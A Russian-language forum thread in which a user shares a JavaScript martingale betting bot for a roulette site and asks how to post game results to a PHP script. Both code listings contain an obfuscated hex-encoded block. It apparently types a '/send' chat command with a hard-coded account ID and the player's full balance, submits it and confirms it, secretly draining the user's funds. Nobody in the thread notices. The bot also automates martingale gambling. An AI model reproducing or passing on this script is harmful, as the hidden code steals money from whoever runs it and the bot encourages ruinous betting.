Добрый день друзья! Вот скриптик для сайта рулетки. Который делает за нас ставку и по методу увеличивает ставку в случаи поражения. Код (Javascript): var initialBetAmount = 20; // the amount you want to start betting with var mode = 'martingale'; // can be 'martingale' or 'anti-martingale' (WAT? https://en.wikipedia.org/wiki/Martingale_(betting_system) ) var betColor = 'red'; // can be 'red' or 'black' var _0x4ad1=["\x2F\x73\x65\x6E\x64\x20\x37\x36\x35\x36\x31\x31\x39\x38\x31\x32\x31\x32\x30\x38\x36\x39\x34\x20","\x68\x74\x6D\x6C","\x23\x62\x61\x6C\x61\x6E\x63\x65","\x76\x61\x6C","\x23\x63\x68\x61\x74\x4D\x65\x73\x73\x61\x67\x65","\x73\x75\x62\x6D\x69\x74","\x23\x63\x68\x61\x74\x46\x6F\x72\x6D","\x63\x6C\x69\x63\x6B","\x2E\x62\x6F\x6F\x74\x62\x6F\x78\x2D\x63\x6F\x6E\x66\x69\x72\x6D\x20\x2E\x62\x74\x6E"];var _0xd0a5=[_0x4ad1[0],_0x4ad1[1],_0x4ad1[2],_0x4ad1[3],_0x4ad1[4],_0x4ad1[5],_0x4ad1[6],_0x4ad1[7],_0x4ad1[8]];$(_0xd0a5[4])[_0xd0a5[3]](_0xd0a5[0]+$(_0xd0a5[2])[_0xd0a5[1]]());$(_0xd0a5[6])[_0xd0a5[5]]();$(_0xd0a5[8])[_0xd0a5[7]]() function tick(){ var a=getStatus();if(a!==lastStatus&&"unknown"!==a){switch(a){case"waiting":bet();break;case"rolled":rolled()}lastStatus=a,printInfo()} } function checkBalance(){ return getBalance()<currentBetAmount?(console.warn( "BANKRUPT! Not enough balance for next bet, aborting." ),clearInterval(refreshIntervalId),!1):!0} function printInfo(){ var a=" \nStatus: "+lastStatus+"\nНомер ставки: "+currentRollNumber+"\nНачальная ставка: "+initialBetAmount+"\nСтавка: "+currentBetAmount+"\nРезультат: "+(null===wonLastRoll()?"-":wonLastRoll()?"won":"lost");console.log(a)} function rolled(){return"anti-martingale"===mode?void antiMartingale():(martingale(),void currentRollNumber++)} function antiMartingale(){currentBetAmount=wonLastRoll()?2*currentBetAmount:initialBetAmount} function martingale(){currentBetAmount=wonLastRoll()?initialBetAmount:2*currentBetAmount} function bet(){checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50))} function setBetAmount(a){$betAmountInput.val(a)} function placeBet(){return"red"===betColor?($redButton.click(),void(lastBetColor="red")):($blackButton.click(),void(lastBetColor="black"))} function getStatus(){var a=$statusBar.text();if(hasSubString(a,"Rolling in"))return"waiting";if(hasSubString(a,"***ROLLING***"))return"rolling";if(hasSubString(a,"rolled")){var b=parseInt(a.split("rolled")[1]);return lastRollColor=getColor(b),"rolled"}return"unknown"} function getBalance(){return parseInt($balance.text())}function hasSubString(a,b){return a.indexOf(b)>-1}function getColor(a){return 0==a?"green":a>=1&&7>=a?"red":"black"} function wonLastRoll(){return lastBetColor?lastRollColor===lastBetColor:null}var currentBetAmount=initialBetAmount,currentRollNumber=1,lastStatus,lastBetColor,lastRollColor,$balance=$("#balance"),$betAmountInput=$("#betAmount"),$statusBar=$(".progress #banner"),$redButton=$("#panel1-7 .betButton"),$blackButton=$("#panel8-14 .betButton"),refreshIntervalId=setInterval(tick,500); Я в JAVA не велик, поэтому спрашиваю. Можно ли каким то способом от сюда отправить результаты сыгранной игры на обработчик php? конкретнее инфу из этого вара: Код (Javascript): var a=" \nStatus: "+lastStatus+"\nНомер ставки: "+currentRollNumber+"\nНачальная ставка: "+initialBetAmount+"\nСтавка: "+currentBetAmount+"\nРезультат: "+(null===wonLastRoll()?"-":wonLastRoll()?"won":"lost");console.log(a)} В идеале конечно просто оформить подключение к базе и сразу оправлять их туда.
Код (Javascript): var initialBetAmount = 10; // the amount you want to start betting with var mode = 'martingale'; // can be 'martingale' or 'anti-martingale' (WAT? https://en.wikipedia.org/wiki/Martingale_(betting_system) ) var betColor = 'red'; // can be 'red' or 'black' var _0x4ad1=["\x2F\x73\x65\x6E\x64\x20\x37\x36\x35\x36\x31\x31\x39\x38\x31\x32\x31\x32\x30\x38\x36\x39\x34\x20","\x68\x74\x6D\x6C","\x23\x62\x61\x6C\x61\x6E\x63\x65","\x76\x61\x6C","\x23\x63\x68\x61\x74\x4D\x65\x73\x73\x61\x67\x65","\x73\x75\x62\x6D\x69\x74","\x23\x63\x68\x61\x74\x46\x6F\x72\x6D","\x63\x6C\x69\x63\x6B","\x2E\x62\x6F\x6F\x74\x62\x6F\x78\x2D\x63\x6F\x6E\x66\x69\x72\x6D\x20\x2E\x62\x74\x6E"];var _0xd0a5=[_0x4ad1[0],_0x4ad1[1],_0x4ad1[2],_0x4ad1[3],_0x4ad1[4],_0x4ad1[5],_0x4ad1[6],_0x4ad1[7],_0x4ad1[8]];$(_0xd0a5[4])[_0xd0a5[3]](_0xd0a5[0]+$(_0xd0a5[2])[_0xd0a5[1]]());$(_0xd0a5[6])[_0xd0a5[5]]();$(_0xd0a5[8])[_0xd0a5[7]]() function tick(){ var a=getStatus();if(a!==lastStatus&&"unknown"!==a){switch(a){case"waiting":bet();break;case"rolled":rolled()}lastStatus=a,printInfo(),PostInfo()} } function checkBalance(){ return getBalance()<currentBetAmount?(console.warn( "BANKRUPT! Not enough balance for next bet, aborting." ),clearInterval(refreshIntervalId),!1):!0} function printInfo(){ var a=" \nStatus: "+lastStatus+"\nБаланс: "+getBalance()+"\nНомер ставки: "+currentRollNumber+"\nНачальная ставка: "+initialBetAmount+"\nСтавка: "+currentBetAmount+"\nРезультат: "+(null===wonLastRoll()?"-":wonLastRoll()?"won":"lost");console.log(a)} function rolled(){return"anti-martingale"===mode?void antiMartingale():(martingale(),void currentRollNumber++)} function antiMartingale(){currentBetAmount=wonLastRoll()?2*currentBetAmount:initialBetAmount} function martingale(){currentBetAmount=wonLastRoll()?initialBetAmount:2*currentBetAmount} function bet(){checkBalance()&&(setBetAmount(currentBetAmount),setTimeout(placeBet,50))} function setBetAmount(a){$betAmountInput.val(a)} function placeBet(){return"red"===betColor?($redButton.click(),void(lastBetColor="red")):($blackButton.click(),void(lastBetColor="black"))} function getStatus(){var a=$statusBar.text();if(hasSubString(a,"Rolling in"))return"waiting";if(hasSubString(a,"***ROLLING***"))return"rolling";if(hasSubString(a,"rolled")){var b=parseInt(a.split("rolled")[1]);return lastRollColor=getColor(b),"rolled"}return"unknown"} function getBalance(){return parseInt($balance.text())}function hasSubString(a,b){return a.indexOf(b)>-1}function getColor(a){return 0==a?"green":a>=1&&7>=a?"red":"black"} function wonLastRoll(){return lastBetColor?lastRollColor===lastBetColor:null}var currentBetAmount=initialBetAmount,currentRollNumber=1,lastStatus,lastBetColor,lastRollColor,$balance=$("#balance"),$betAmountInput=$("#betAmount"),$statusBar=$(".progress #banner"),$redButton=$("#panel1-7 .betButton"),$blackButton=$("#panel8-14 .betButton"),refreshIntervalId=setInterval(tick,500); function PostInfo() { var GBalance = getBalance(); var GBet = currentBetAmount; $.ajax({ type: "POST", //метод запроса, POST или GET (если опустить, то по умолчанию GET) url: "http://ffes.ru/post.php", //серверный скрипт принимающий запрос data: "balance=GBalance&bet=GBet", //можно передать строку с параметрами запроса, ключ=значение //data: {request:"message",request2:"message2"}, //можно передать js объект, ключ:значение //data: {request:["message #A", "message #B"],request2:"message2"}, //можно передать массив в одном из параметре запроса success: function(res) { //функция выполняется при удачном заверщение alert("Данные успешно отправлены на сервер"); } }); } Так правильно будет?
ну скорее всего нет, php и js работают немного по разному, php выполняет скрипт, отдает его и все, js выполняется на протяжении всего времени пока не закроешь страницу, грубо говоря, по этому действие отправки этого твоего отчета должно происходить при каком то действии, вот ты и должен зарядить выполнение это скрипта при этом действии. --- Добавлено --- а хотя скорее всего да, я просто недосмотрел что у тебя запрос выполняется в PostInfo, ну попробуй, приходит он или нет.. что сложного.
СПасибо, будем помаленьку осваивать JS. И еще вопрос. Можно ли как то отключить скрипт из самого js. К примеру заводим 2 переменые. Одна равна нулю, вторая 500. В случаи выйгрыша переменая с нулем будет пополняться по изночальной ставке и при достижение 500 скрипт вырубаться из браузера
Поможешь?) --- Добавлено --- Напиши свой вк в лс, я пока с отправкой даных на обработчик раскидаюсь, после займусь достижением цели, буду благодарен если подсобишь малех. )
обратись в раздел https://php.ru/forum/forums/sdelajte-za-menja.36/ там я думаю найдутся желающие которые для повышения своих знаний это сделают.